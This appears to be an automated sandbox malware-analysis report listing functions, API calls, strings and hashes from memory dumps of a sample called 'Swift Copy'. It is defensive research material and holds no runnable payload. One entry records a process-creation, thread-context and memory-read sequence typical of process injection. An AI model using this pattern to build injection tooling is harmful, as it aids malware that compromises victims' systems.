Memory Dump Source

Source File: 00000000.00000002.1678475420.0000000000ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ed0000_Swift Copy.jbxd

Similarity

API ID: CreateFileFreeVirtual
String ID: .
API String ID: 204039940-1603360339
Opcode ID: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
Instruction ID: 3d391b64b62ee992cf9212820146f03378b89313e8869a91a0bcca4cc0307f88
Opcode Fuzzy Hash: c604c45430315f2d7ac9edfc96fa3ed3524b16f7139e20e6f85f26396c7b052c
Instruction Fuzzy Hash: A6A10874E00209EBDB14CFA4C994BEEBBB5FF58304F20915AE611BB380D7759A81DB94

Function 00DA8D45 Relevance: 13.8, APIs: 9, Instructions: 300
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 74fc6ddbf8d3d99d4f9c9c5bca4c41c4e41fc345de36f03a747899d5fce38848
Instruction ID: 4155228e6fca55b796afc2ca21663f9dd609e1174b1007ed670170bafc905512
Opcode Fuzzy Hash: 74fc6ddbf8d3d99d4f9c9c5bca4c41c4e41fc345de36f03a747899d5fce38848
Instruction Fuzzy Hash: 7CC1F074A04249AFCF11EFA9C851BADBBB0AF0B310F1841A9F954E7392C7318942CB75

Function 00D72C63 Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 44
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32(00000000,AutoIt v3,AutoIt v3,00CF0000,80000000,80000000,0000012C,00000064,00000000,00000000,00000000,00000001), ref: 00D72C91
CreateWindowExW.USER32(00000000,edit,00000000,50B008C4,00000000,00000000,00000000,00000000,00000000,00000001,00000000), ref: 00D72CB2
ShowWindow.USER32(00000000,?,?,?,?,?,?,00D71CAD,?), ref: 00D72CC6
ShowWindow.USER32(00000000,?,?,?,?,?,?,00D71CAD,?), ref: 00D72CCF

Strings

AutoIt v3, xrefs: 00D72C89, 00D72C8E, 00D72C8F
edit, xrefs: 00D72CAC

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Window$CreateShow
String ID: AutoIt v3$edit
API String ID: 1584632944-3779509399
Opcode ID: 4d482c1aa9e933b9ad3a558084f27662fd9b188592531b0fcd4ad00ed0a08e73
Instruction ID: e92ef892e28111665a0be85f6e7bdf5c8a88ddeeb176bfe67a534e6466854c85
Opcode Fuzzy Hash: 4d482c1aa9e933b9ad3a558084f27662fd9b188592531b0fcd4ad00ed0a08e73
Instruction Fuzzy Hash: 80F0DA799402907EEB311B27AC49E7B2EBDD7C7F50B16109AF900B25A0C671189ADAB0

Function 00ED23B0 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 151
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00ED22A0: Sleep.KERNELBASE(000001F4), ref: 00ED22B1

CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 00ED24EA

Strings

GTTBZOISQRWV2YMUFZYH6V91ANL5S, xrefs: 00ED254D, 00ED2550

Memory Dump Source

Source File: 00000000.00000002.1678475420.0000000000ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ed0000_Swift Copy.jbxd

Similarity

API ID: CreateFileSleep
String ID: GTTBZOISQRWV2YMUFZYH6V91ANL5S
API String ID: 2694422964-2132517090
Opcode ID: 5a2468a194412bd6f6085ce5b00c0593abf23bf04294584b446443b225c71f58
Instruction ID: 14d76951130a4e3d005fc179898aafb6335c0165a1e0f14390f3f5e5e528d8e5
Opcode Fuzzy Hash: 5a2468a194412bd6f6085ce5b00c0593abf23bf04294584b446443b225c71f58
Instruction Fuzzy Hash: D661A170D04288DAEF11D7F4D859BDEBBB4AF25304F044199E6487B2C1C7B91B49CBA6

Function 00DE2947 Relevance: 7.8, APIs: 5, Instructions: 313
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00DE2C05
DeleteFileW.KERNEL32(?), ref: 00DE2C87
CopyFileW.KERNEL32(?,?,00000000,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00DE2C9D
DeleteFileW.KERNEL32(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00DE2CAE
DeleteFileW.KERNELBASE(?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004), ref: 00DE2CC0

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: File$Delete$Copy
String ID:
API String ID: 3226157194-0
Opcode ID: 9cf0c94ed6bf53f0d4302deee4dc1689dee7634855a119c11364b8893031c1d4
Instruction ID: 9bccb8110f97812e6cdb1a6cd843c9a502cc89c1dcf2333848db030af6320dd9
Opcode Fuzzy Hash: 9cf0c94ed6bf53f0d4302deee4dc1689dee7634855a119c11364b8893031c1d4
Instruction Fuzzy Hash: B5B15D72D00119ABDF21EBA5CC85EEEBBBDEF48350F1040A6F609E6155EA319A448F71

Function 00D73B1C Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 58
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RegOpenKeyExW.KERNELBASE(80000001,Control Panel\Mouse,00000000,00000001,00000000,?,?,80000001,80000001,?,00D73B0F,SwapMouseButtons,00000004,?), ref: 00D73B40
RegQueryValueExW.KERNELBASE(00000000,00000000,00000000,00000000,?,?,?,?,?,80000001,80000001,?,00D73B0F,SwapMouseButtons,00000004,?), ref: 00D73B61
RegCloseKey.KERNELBASE(00000000,?,?,?,80000001,80000001,?,00D73B0F,SwapMouseButtons,00000004,?), ref: 00D73B83

Strings

Control Panel\Mouse, xrefs: 00D73B3E

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: CloseOpenQueryValue
String ID: Control Panel\Mouse
API String ID: 3677997916-824357125
Opcode ID: 68d777c0a7cd8f4ffe5b0de83bd002b6fb610e87cef3ef523de740888b5ba437
Instruction ID: 316be0c03da355c77fba6dd17c26fb7517977b7dd9d15feadd2109b9d3ad2f46
Opcode Fuzzy Hash: 68d777c0a7cd8f4ffe5b0de83bd002b6fb610e87cef3ef523de740888b5ba437
Instruction Fuzzy Hash: BC112AB5510218FFDB208FA5DC44AEEB7BCEF04744B14855AA809E7110E2319E44A7A0

Function 00ED12A0 Relevance: 6.7, APIs: 4, Instructions: 720processthreadCOMMON

Download Yara Rule

APIs

CreateProcessW.KERNELBASE(?,00000000), ref: 00ED1ACD
Wow64GetThreadContext.KERNEL32(?,00010007), ref: 00ED1AF1
ReadProcessMemory.KERNELBASE(?,?,?,00000004,00000000), ref: 00ED1B13

Memory Dump Source

Source File: 00000000.00000002.1678475420.0000000000ED0000.00000040.00001000.00020000.00000000.sdmp, Offset: 00ED0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_ed0000_Swift Copy.jbxd

Similarity

API ID: Process$ContextCreateMemoryReadThreadWow64
String ID:
API String ID: 2438371351-0
Opcode ID: e8e7a77c1c38f92167ec50984bffac71589908538948dc0fdf133907e09ee162
Instruction ID: 390f496773ce4cf2ad5461b3327c6abacc3ba8af4226e81f4948a7fc0748f1f9
Opcode Fuzzy Hash: e8e7a77c1c38f92167ec50984bffac71589908538948dc0fdf133907e09ee162
Instruction Fuzzy Hash: 12620930A14258DBEB24CFA4C850BDEB372EF58304F10A1AAD50DEB390E7759E81CB59

Function 00D73923 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 94windowCOMMON

Download Yara Rule

APIs

LoadStringW.USER32(00000065,?,0000007F,00000104), ref: 00DB33A2

Part of subcall function 00D76B57: _wcslen.LIBCMT ref: 00D76B6A

Shell_NotifyIconW.SHELL32(00000001,?), ref: 00D73A04

Strings

Line: , xrefs: 00DB33EB

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: IconLoadNotifyShell_String_wcslen
String ID: Line:
API String ID: 2289894680-1585850449
Opcode ID: 21535e33ff1a66cf3b0cc5ee7583151f9c8a16c1e83998e2a2737c480bd7c5b8
Instruction ID: 2071971abb97fd7963bbaf411331fce2c5e38de7cff3a1d4a86a0cf6a1b2d6c9
Opcode Fuzzy Hash: 21535e33ff1a66cf3b0cc5ee7583151f9c8a16c1e83998e2a2737c480bd7c5b8
Instruction Fuzzy Hash: 2031A271408310AEC721EF24DC46BEBB7E8EB81710F14856AF59D92191FB709689DBF2

Function 00D72DE3 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 64COMMON

Download Yara Rule

APIs

GetOpenFileNameW.COMDLG32(?), ref: 00DB2C8C

Part of subcall function 00D73AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,00D73A97,?,?,00D72E7F,?,?,?,00000000), ref: 00D73AC2

Part of subcall function 00D72DA5: GetLongPathNameW.KERNELBASE(?,?,00007FFF), ref: 00D72DC4

Strings

`e, xrefs: 00DB2C85
X, xrefs: 00DB2C5A

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Name$Path$FileFullLongOpen
String ID: X$`e
API String ID: 779396738-4036142377
Opcode ID: 2dba1ff56b5055bd3431291d5abeaf36c57b419de6c0c6d159f51d85381e6d49
Instruction ID: 7fbbe86c733d59a325916f02e8e2bfbdaa5989512db90ed7e570e8ebd10c7a5d
Opcode Fuzzy Hash: 2dba1ff56b5055bd3431291d5abeaf36c57b419de6c0c6d159f51d85381e6d49
Instruction Fuzzy Hash: 20216671A00298AFDB11DF94C8457EE7BF8EF49314F108059E549B7241EBB49A89CB71

Function 00D8FDDB Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 43COMMON

Download Yara Rule

APIs

__CxxThrowException@8.LIBVCRUNTIME ref: 00D90668

Part of subcall function 00D932A4: RaiseException.KERNEL32(?,?,?,00D9068A,?,00E41444,?,?,?,?,?,?,00D9068A,00D71129,00E38738,00D71129), ref: 00D93304

__CxxThrowException@8.LIBVCRUNTIME ref: 00D90685

Strings

Unknown exception, xrefs: 00D90692

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Exception@8Throw$ExceptionRaise
String ID: Unknown exception
API String ID: 3476068407-410509341
Opcode ID: 94f9b29dc1cd6fa32907b54fd5750b10f036accc3cbcfa922fab6f9d5cedcf00
Instruction ID: 5497b59335666f923ae1beb77d94432b6e3b9e027a3d678398d8791308ca0f04
Opcode Fuzzy Hash: 94f9b29dc1cd6fa32907b54fd5750b10f036accc3cbcfa922fab6f9d5cedcf00
Instruction Fuzzy Hash: A5F04F24900309BB8F00B7A4E84AD9E7B6C9E40350B644531B924D65D2EF71EA66C6B0

Function 00DE3017 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18COMMON

Download Yara Rule

APIs

GetTempPathW.KERNEL32(00000104,?,00000001), ref: 00DE302F
GetTempFileNameW.KERNELBASE(?,aut,00000000,?), ref: 00DE3044

Strings

aut, xrefs: 00DE3038

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Temp$FileNamePath
String ID: aut
API String ID: 3285503233-3010740371
Opcode ID: 304ba0cd37a55141564905e57a26bece504a7f4447950329c99443d6ba880124
Instruction ID: 6a3b1f96fc54c5c4437482a5cd668239ac0936fa5d7e7a3f35281c1e74863b57
Opcode Fuzzy Hash: 304ba0cd37a55141564905e57a26bece504a7f4447950329c99443d6ba880124
Instruction Fuzzy Hash: 57D05E72500328BBDA20A7A5AC0EFDB3E6CDB05750F0002A1B655F20E1DAB19988CAD0

Function 00DF7F59 Relevance: 4.9, APIs: 3, Instructions: 430COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(00000000,00000067,000000FF,?,?,?), ref: 00DF82F5
TerminateProcess.KERNEL32(00000000), ref: 00DF82FC
FreeLibrary.KERNEL32(?,?,?,?), ref: 00DF84DD

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Process$CurrentFreeLibraryTerminate
String ID:
API String ID: 146820519-0
Opcode ID: 0fe2582a9dc821c853a072ef294d716488afcf31862ff255d863d78bcaaaaf15
Instruction ID: c68470c3fd6ee0878b2d870d9ffac07fa6d90368d1417a29263380d24b2fb08d
Opcode Fuzzy Hash: 0fe2582a9dc821c853a072ef294d716488afcf31862ff255d863d78bcaaaaf15
Instruction Fuzzy Hash: FA127B71A083459FC714DF28C484B2ABBE1FF85318F19C95DE9898B352DB31E945CBA2

Function 00DA5AA9 Relevance: 4.7, APIs: 3, Instructions: 186COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d2abdebf024dcc8e7ada43e85c5cb86ba1177ddf74a4239efa8ac9c1befca0e7
Instruction ID: 7e12bf1c6bd3b17e998c3de122644baecfef4cda1facb9da9932a2e95a4e1eee
Opcode Fuzzy Hash: d2abdebf024dcc8e7ada43e85c5cb86ba1177ddf74a4239efa8ac9c1befca0e7
Instruction Fuzzy Hash: 7751A175E00609AFCF10AFA5E845FAEBBB8EF07320F180159F505A7299D675D901CB71

Function 00D710F3 Relevance: 4.7, APIs: 3, Instructions: 153comCOMMON

Download Yara Rule

APIs

Part of subcall function 00D71BC3: MapVirtualKeyW.USER32(0000005B,00000000), ref: 00D71BF4
Part of subcall function 00D71BC3: MapVirtualKeyW.USER32(00000010,00000000), ref: 00D71BFC
Part of subcall function 00D71BC3: MapVirtualKeyW.USER32(000000A0,00000000), ref: 00D71C07
Part of subcall function 00D71BC3: MapVirtualKeyW.USER32(000000A1,00000000), ref: 00D71C12
Part of subcall function 00D71BC3: MapVirtualKeyW.USER32(00000011,00000000), ref: 00D71C1A
Part of subcall function 00D71BC3: MapVirtualKeyW.USER32(00000012,00000000), ref: 00D71C22

Part of subcall function 00D71B4A: RegisterWindowMessageW.USER32(00000004,?,00D712C4), ref: 00D71BA2

GetStdHandle.KERNEL32(000000F6,00000000,00000000), ref: 00D7136A
OleInitialize.OLE32 ref: 00D71388
CloseHandle.KERNEL32(00000000,00000000), ref: 00DB24AB

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: Virtual$Handle$CloseInitializeMessageRegisterWindow
String ID:
API String ID: 1986988660-0
Opcode ID: 2028accfc17a3562ae63d3cc0804aea0bff847372da838f696d66cb8e32737db
Instruction ID: e2245f5f395f520a9b4d3dfa46db48932f4d878872f99764e85c935f49ce0ee9
Opcode Fuzzy Hash: 2028accfc17a3562ae63d3cc0804aea0bff847372da838f696d66cb8e32737db
Instruction Fuzzy Hash: 367190BC9113448ECB84DF7BE8466953AE0FBCA34435492AAD51AF7261F73844CACF61

Function 00DA86AE Relevance: 4.6, APIs: 3, Instructions: 61COMMONLIBRARYCODE

Download Yara Rule

APIs

FindCloseChangeNotification.KERNELBASE(00000000,00000000,?,?,00DA85CC,?,00E38CC8,0000000C), ref: 00DA8704
GetLastError.KERNEL32(?,00DA85CC,?,00E38CC8,0000000C), ref: 00DA870E
__dosmaperr.LIBCMT ref: 00DA8739

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: ChangeCloseErrorFindLastNotification__dosmaperr
String ID:
API String ID: 490808831-0
Opcode ID: 24567cac18c61fd02e7566b85c0c994945f422cdef4e36cee3fa1545b4f624f8
Instruction ID: f5aa0b84cf56ffb2fae20be2a6a77228cb5889f9134cf31d4939b282d703eb22
Opcode Fuzzy Hash: 24567cac18c61fd02e7566b85c0c994945f422cdef4e36cee3fa1545b4f624f8
Instruction Fuzzy Hash: 6501D633A056602AEA646334B845B7E67498BC3774F3D0269FD149B1D2DEB5CC85A1B0

Function 00DE2FD8 Relevance: 4.5, APIs: 3, Instructions: 27filetimeCOMMON

Download Yara Rule

APIs

CreateFileW.KERNELBASE(?,40000000,00000001,00000000,00000003,00000080,00000000,00000000,?,?,00DE2CD4,?,?,?,00000004,00000001), ref: 00DE2FF2
SetFileTime.KERNELBASE(00000000,?,00000000,?,?,00DE2CD4,?,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00DE3006
CloseHandle.KERNEL32(00000000,?,00DE2CD4,?,?,?,00000004,00000001,?,?,00000004,00000001,?,?,00000004,00000001), ref: 00DE300D

Memory Dump Source

Source File: 00000000.00000002.1675625916.0000000000D71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D70000, based on PE: true

Associated: 00000000.00000002.1675363933.0000000000D70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E0C000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675869700.0000000000E32000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675942892.0000000000E3C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E47000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E55000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1675967731.0000000000E57000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d70000_Swift Copy.jbxd

Similarity

API ID: File$CloseCreateHandleTime
String ID:
